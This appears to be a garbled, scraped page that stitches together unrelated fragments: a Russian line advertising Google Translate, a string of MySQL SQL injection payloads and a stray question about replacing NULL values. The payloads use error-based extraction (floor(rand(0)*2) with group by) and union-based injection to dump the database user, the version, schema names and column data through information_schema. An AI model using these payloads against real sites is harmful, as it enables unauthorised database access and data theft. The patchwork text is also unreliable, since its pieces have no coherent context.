Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
...(select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1)
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM table1
SELECT * FROM users WHERE id=1 AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y); Then I get DBMS version : ‘5.1.73-0ubuntu0.10.04.1‘.
It returns a hexadecimal value of 4100: SELECT CAST(CAST(0x41 AS nvarchar) AS varbinary).
I have developed a query, and in the results for the first three columns I get NULL. How can I replace it with 0?